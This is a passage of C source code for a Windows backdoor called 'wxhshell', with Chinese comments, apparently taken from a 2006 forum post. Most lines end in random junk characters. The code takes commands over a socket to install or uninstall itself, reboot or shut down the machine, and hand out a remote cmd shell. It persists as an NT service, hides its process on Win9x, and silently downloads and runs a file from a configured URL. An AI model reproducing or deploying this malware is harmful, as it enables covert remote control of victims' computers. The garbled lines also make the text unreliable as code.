      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FJH8O7  
    break; c] 9CN  
  } Gkvd{G?F  
  // 安装 >-WO w  
  case 'i': { %iFIY=W  
    if(Install()) eeR@p$4i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >!.lr9(l  
    else (zODV4,5k`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i]WlMC6  
    break; jsht2]iq3K  
    } %SFR.U0}yK  
  // 卸载 ?PtRb:RHt  
  case 'r': { -^yc yZ  
    if(Uninstall()) 1ORi]`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /'^>-!8_1  
    else tl#s:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6y!?xot  
    break; X(q=,^Mp  
    } gx R|S  
  // 显示 wxhshell 所在路径 W 9MZ  
  case 'p': { m&c(N  
    char svExeFile[MAX_PATH]; 4gt "dfy+  
    strcpy(svExeFile,"\n\r"); ON! G{=7  
      strcat(svExeFile,ExeFile); l'8wPmy%N  
        send(wsh,svExeFile,strlen(svExeFile),0); <G=@Gl  
    break; &!fcLJd  
    } nezbmpL4  
  // 重启 QRa6*AYm  
  case 'b': { AQU: 0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N>\?Aeh  
    if(Boot(REBOOT)) {/!"}{G1e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Y! Vyn  
    else { l:}4 6%  
    closesocket(wsh); -%$ dFq  
    ExitThread(0); OvG|=  
    } Pt;Ahmi  
    break; RIx6& 7$  
    } iFchD\E*o  
  // 关机 ()JDjzQT  
  case 'd': { k}qiIMdI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hvZR4|k>  
    if(Boot(SHUTDOWN)) CUcjJ|MZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % E_{L  
    else { |H@p^.;  
    closesocket(wsh); C^O^Jj5X%  
    ExitThread(0); bd;f@)X  
    } <OB~60h"  
    break; > PA,72e   
    } ?MB nnyo6  
  // 获取shell sUMn (@r  
  case 's': { ^C T}i'  
    CmdShell(wsh); e:occT  
    closesocket(wsh); &cE,9o%FZ  
    ExitThread(0); a}hM}U!  
    break; {627*6,  
  } jo#F&  
  // 退出 Uwa1)Lwn  
  case 'x': { (j"MsCwE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5aQg^f%\  
    CloseIt(wsh); k]YGD  
    break; W}3vY]  
    } feHAZ.8rp+  
  // 离开 *&MkkI#  
  case 'q': { 3f8Z ?[Bb@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d69VgLg  
    closesocket(wsh); L@GD$F=<0  
    WSACleanup(); Wb xksh:)Q  
    exit(1); ``Rb-.Fq,  
    break; l]&)an  
        } 1k i"UF/  
  } x*)O<K  
  } @U5>w\  
NDG Bvb  
  // 提示信息 )Cfrqe1^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E+ 20->  
} rNp#5[e  
  } Xpwom'  
Gjr2]t;E  
  return; 2 wvDC@  
} eQj/)@B:V  
*h9vMks o  
// shell模块句柄 s50ln&2  
int CmdShell(SOCKET sock) }C}_ I:=C  
{ UlytxWkUX  
STARTUPINFO si; >^N :A  
ZeroMemory(&si,sizeof(si)); `$-  Ib^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )FPbE^s(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m,O !M t  
PROCESS_INFORMATION ProcessInfo; E~^'w.1  
char cmdline[]="cmd"; OK(d&   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4y.[tk5  
  return 0; "<#:\6aym  
} Df^S77&c!  
xM\ApN~W  
// 自身启动模式 K(S/D(\ FL  
int StartFromService(void) n Lb 9$&  
{  Pq%cuT%  
typedef struct { VO4""m  
{ ?Q2pD!L{  
  DWORD ExitStatus; c-d}E!C:  
  DWORD PebBaseAddress; w.H+$=aK  
  DWORD AffinityMask; ?C3cPt"  
  DWORD BasePriority; lX3h'h  
  ULONG UniqueProcessId; 3R {y68-S  
  ULONG InheritedFromUniqueProcessId; ~O-8h0d3  
}   PROCESS_BASIC_INFORMATION; =oJiNM5_u  
|&7,g  
PROCNTQSIP NtQueryInformationProcess; oJ:J'$W(  
= ;d<Ikj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L4b4X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (z7#KJ1+Aw  
Y2n*T KXI,  
  HANDLE             hProcess; 4fswx@l  
  PROCESS_BASIC_INFORMATION pbi; w3D_ c~  
K-3 _4As  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d .A0(*k,  
  if(NULL == hInst ) return 0; M-Bw9`#Jw  
TZg7BLfy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _!7o   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |sz9l/,lG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (i8 t^  
 %3j5Q   
  if (!NtQueryInformationProcess) return 0; bE~lc}%  
k7*q.20  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $'q(Z@  
  if(!hProcess) return 0; HenJlo  
~@lNBF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F04Etf 2k  
R8l9i2  
  CloseHandle(hProcess); xJCpWU3wM  
)w-?|2-w5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CCV~nf  
if(hProcess==NULL) return 0; Rd)QVEk>SD  
UZ#2*PH2E  
HMODULE hMod; d/1XL[&  
char procName[255]; s9iM hCu|  
unsigned long cbNeeded; \BL9}5y  
 s25012  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SCij5il%  
2B7&Ll\>  
  CloseHandle(hProcess); )Yml'?V"  
?}[keSEh>  
if(strstr(procName,"services")) return 1; // 以服务启动 zu#o<6E{  
D 3PF(Wx  
  return 0; // 注册表启动 il~,y8WTU{  
} jPfoI-  
/7^~*  
// 主模块 H;2pk  
int StartWxhshell(LPSTR lpCmdLine) (&(f`c@I  
{ PW}.`  
  SOCKET wsl; Cp%|Q.?  
BOOL val=TRUE; Ee O{G*pq  
  int port=0; 0*)79Sz  
  struct sockaddr_in door; U{EW +>  
4%TC2Laii  
  if(wscfg.ws_autoins) Install(); N!AFsWV  
;Peyo1  
port=atoi(lpCmdLine); cO:x{~  
{\B!Rjt[T  
if(port<=0) port=wscfg.ws_port; %[J( ,rm  
J5k%  
  WSADATA data; iwbjjQPr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V~;YV]1Y  
r`2& o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \ (,2^T'$J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H< j+-u4b  
  door.sin_family = AF_INET; t(Uoi~#[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &+v&Dd&  
  door.sin_port = htons(port); +-hmITJ v  
F r~xN!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e\<I:7%Rg  
closesocket(wsl); ~J|0G6H  
return 1; Gkl#s7'  
} Ot?rsr  
7u zN/LAF  
  if(listen(wsl,2) == INVALID_SOCKET) { xk/(| f{L  
closesocket(wsl); > L%%B-  
return 1; t`  Sh!e  
} U&6f}=v C  
  Wxhshell(wsl); :|a[6Uwl\V  
  WSACleanup(); Ev%\YI!MaY  
<$ 5\^y,V  
return 0; 3r\QLIr L8  
F}X_I  
} P1t5-q  
'&9b*u";x(  
// 以NT服务方式启动 [Mi~4b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yC[}gHv  
{ %9j]N$.V  
DWORD   status = 0; |s:!LU&OL\  
  DWORD   specificError = 0xfffffff;  Dg@6o  
LE;c+(CAU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "jSn`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g0l- n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9;PtY dJ8  
  serviceStatus.dwWin32ExitCode     = 0; <t8})  
  serviceStatus.dwServiceSpecificExitCode = 0; GB#7w82  
  serviceStatus.dwCheckPoint       = 0; d^7<l_u~ !  
  serviceStatus.dwWaitHint       = 0; ~L2Fo~fw  
`6zoZM7?Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SC#  
  if (hServiceStatusHandle==0) return; Vh&uSi1V  
%]-tA,u  
status = GetLastError(); t?\osPL  
  if (status!=NO_ERROR) R$q:Ct  
{ m*1=-" P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4h|vd.t  
    serviceStatus.dwCheckPoint       = 0; [Y[|:_+5  
    serviceStatus.dwWaitHint       = 0; fA8 ,wy|>  
    serviceStatus.dwWin32ExitCode     = status; Q-\: u~  
    serviceStatus.dwServiceSpecificExitCode = specificError;  #u~8Txt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j0J6ySlY  
    return; b{A#P?  
  } fIu/*PFPVY  
uB\A8zC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o\N),;LM  
  serviceStatus.dwCheckPoint       = 0; J&Ah52  
  serviceStatus.dwWaitHint       = 0; $3So`8Bm[$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^Kn}{m/3Y  
} u!O)\m-  
+:b| I'S  
// 处理NT服务事件,比如:启动、停止 hGsY u)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) },l3N K  
{ o!Y7y1$  
switch(fdwControl) k{; 2*6b0  
{ V[~/sc )  
case SERVICE_CONTROL_STOP: ='(:fHhhX  
  serviceStatus.dwWin32ExitCode = 0; w0pH|$"/P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7>#74oy  
  serviceStatus.dwCheckPoint   = 0; 7Xa Ri@uG  
  serviceStatus.dwWaitHint     = 0; 7z}NI,R}1  
  { TV}H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bFcI\Q{4  
  } !^y'G0  
  return; :>|[ o&L  
case SERVICE_CONTROL_PAUSE: GE|V^_|i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vV%w#ULxE~  
  break; L~\Ir  
case SERVICE_CONTROL_CONTINUE: HM`;%0T0(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "bJWyUb  
  break; ./u3z|q1  
case SERVICE_CONTROL_INTERROGATE:  0y?bwxkc  
  break; &T{+B:*v  
}; yJ?6BLJi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e7-U0rrE  
} _di[PU=Vh  
z&w@67 >j  
// 标准应用程序主函数 LKhUqW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {Wt=NI?Ow  
{ 7"1M3P5*8  
rAgb<D@,H  
// 获取操作系统版本 6]M(ElV1H  
OsIsNt=GetOsVer(); &4LrV+`$V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Uo# Pe@ieQ  
@,$>H 7o  
  // 从命令行安装 nBR4j?':i  
  if(strpbrk(lpCmdLine,"iI")) Install(); yN9/'c~  
YH@^6Be9  
  // 下载执行文件 +d<o2n4!  
if(wscfg.ws_downexe) {  eGjEO&$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fnB[b[  
  WinExec(wscfg.ws_filenam,SW_HIDE); :M3Fq@w=  
} `2G 0B@  
^)TZHc2a[  
if(!OsIsNt) { D KR2b`J  
// 如果时win9x,隐藏进程并且设置为注册表启动 qeypa !  
HideProc(); nPE{Gp) }  
StartWxhshell(lpCmdLine); T< D&%)  
} ta %yQd7  
else G@s rQum(  
  if(StartFromService()) `#R[x7bA1  
  // 以服务方式启动 W2'u]1bs  
  StartServiceCtrlDispatcher(DispatchTable); &=~Jw5WK  
else  tmKHT  
  // 普通方式启动 #mFIZMTRd  
  StartWxhshell(lpCmdLine); J.$N<.  
EjrK.|I0  
return 0; X3@Uih}|  
}
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只看该作者 1 发表于: 2006-10-10
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